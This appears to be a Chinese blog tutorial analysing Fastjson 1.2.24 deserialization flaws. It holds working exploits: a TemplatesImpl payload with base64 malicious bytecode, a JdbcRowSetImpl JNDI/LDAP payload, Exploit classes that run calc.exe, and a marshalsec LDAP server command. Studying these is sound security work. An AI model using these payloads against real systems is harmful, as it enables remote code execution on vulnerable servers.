FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象
导入依赖
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>
新建一个简单的pojo类
package com.liang.pojo; public class User { private String name; private int id; public User(){ System.out.println("无参构造"); } public User(String name, int id) { System.out.println("有参构造"); this.name = name; this.id = id; } @Override public String toString() { return "User{" + "name='" + name + '\'' + ", id=" + id + '}'; } public String getName() { System.out.print("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getId() { System.out.println("getId"); return id; } public void setId(int id) { System.out.println("setId"); this.id = id; } }
关于Fastjson的使用,使用JSON的toJSONString
方法 可以将对象转换为字符串
public class FastjsonTest { public static void main(String[] args) { User user = new User("lihua",3); String json = JSON.toJSONString(user); System.out.println(json); } }
但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString
的第二个参数SerializerFeature.WriteClassName
写下这个类的名字
@type
关键字标识的是这个字符串是由某个类序列化而来。
传入
SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
关于fastjson的反序列化
package com.liang; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import com.liang.pojo.User; import java.lang.reflect.Type; public class FastjsonTest { public static void main(String[] args) { String json = "{\"@type\":\"com.liang.pojo.User\",\"id\":3,\"name\":\"lihua\"}"; String json2 = "{\"id\":3,\"name\":\"lihua\"}"; System.out.println(JSON.parseObject(json)); System.out.println(JSON.parseObject(json,User.class)); System.out.println(JSON.parseObject(json2, User.class)); System.out.println(JSON.parseObject(json2)); System.out.println(JSON.parse(json2)); System.out.println(JSON.parse(json)); // User user = new User("lihua",3); // String json = JSON.toJSONString(user,SerializerFeature.WriteClassName); // System.out.println(json); } }
通过这个demo可以看出
在使用JSON.parseObject
方法的时候只有在第二个参数指定是哪个类 才会反序列化成功。在字符串中使用@type:com.liang.pojo.User
指定类 会调用此类的get和set方法 但是会转化为JSONObject
对象。
而使用JSON.parse
方法 无法在第二个参数中指定某个反序列化的类,它识别的是@type
后指定的类
而且可以看到 凡是反序列化成功的都调用了set方法
@type 指定类
使用JSON.parse
方法反序列化会调用此类的set方法
使用JSON.parseObject
方法反序列化会调用此类get和set方法
可以写一个恶意类,然后通过这一特性实现命令执行
package com.liang.pojo;
import java.io.IOException;
public class User {
private String name;
private int id;
public User(){
System.out.println("无参构造");
}
public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}
public String getName() {
System.out.print("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getId() {
System.out.println("getId");
return id;
}
public void setId(int id) throws IOException {
System.out.println("setId");
this.id = id;
Runtime.getRuntime().exec("calc.exe");
}
}
public class FastjsonTest {
public static void main(String[] args) {
String json = "{\"@type\":\"com.liang.pojo.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parse(json));
//EvilCalss.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
}
public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}
}
将其编译为字节码文件
package test;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
public class HelloWorld {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = ".\\src\\main\\java\\test\\EvilClass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
得到
yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg
poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class POC1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
前置问答
Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发;
首先分析后半部分 即TemplatesImpl
中的链子
由上文我们知道 ,fastjson使用JSON.parseObject
方法反序列化会调用get 和set方法
在TemplatesImpl
中属性的get和set方法中
getOutputProperties
方法调用了newTransformer
方法
在newTransformer
中调用了getTransletInstance
方法
这里需要调用到defineTransletClasses
所以需要使_name!=null,_class == null
在defineTransletClasses中 重写了defineClass方法 对_bytecodes
中的恶意代码进行加载
这部分其实就是CC4 的后半部分
然后正向分析 从JSON.parseObject
起步
可以看到,本质上 parseObject方法也是调用了parse方法,只是强转了一下对象的类型
这里返回的parse的重载方法
跟进发现新建了一个DefaultJSONParser
对象
跟进这个this
判断第一个字符是不是{
如果是,就把token设置为12 ,不是就是14
出来之后跟进parse方法
由于原来token设置的是LBRACE也就是12 所以直接走case LBRACE
调用parseObject方法 取出key 也就是@type
然后调用loadClass把恶意类加载到clazz中 这里跟进loadClass
把键值className添加到clazz中
再之后在DefaultJSONParser
类中
build方法 通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo
在build方法中 查找set 和get
这里筛选和查找出了get和set方法 这里就可以获取到TemplatesImpl
的getOutputProperties()
方法
com.alibaba.fastjson.parser.DefaultJSONParser的parseObject方法
com.sun.rowset.JdbcRowSetImpl
中的dataSourceName
属性 寻找他的set方法
跟进setDataSourceName
这里就是把传进去的值赋给dataSource
这里再看autoCommit
,需要传入一个布尔类型的参数
判断conn是否为空 不然就赋值 跟进connect方法
lookup(getDataSourceName())
lookup函数链接我们写入的服务 加载我们的恶意类
构造恶意类
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
public class Exploit implements ObjectFactory, Serializable {
public Exploit(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (IOException e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit exploit = new Exploit();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
把恶意类通过javac进行编译 编译为class文件
在当前目录起一个python的web服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://127.0.0.1:9000/#Exp](http://127.0.0.1:9000/#Exp) 1099
起一个ladp服务
payload:
public class FastjsonTest {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
JSON.parse(payload);
}
}
https://www.cnblogs.com/nice0e3/p/14601670.html
https://www.yuque.com/m0re/demosec/xf1pd2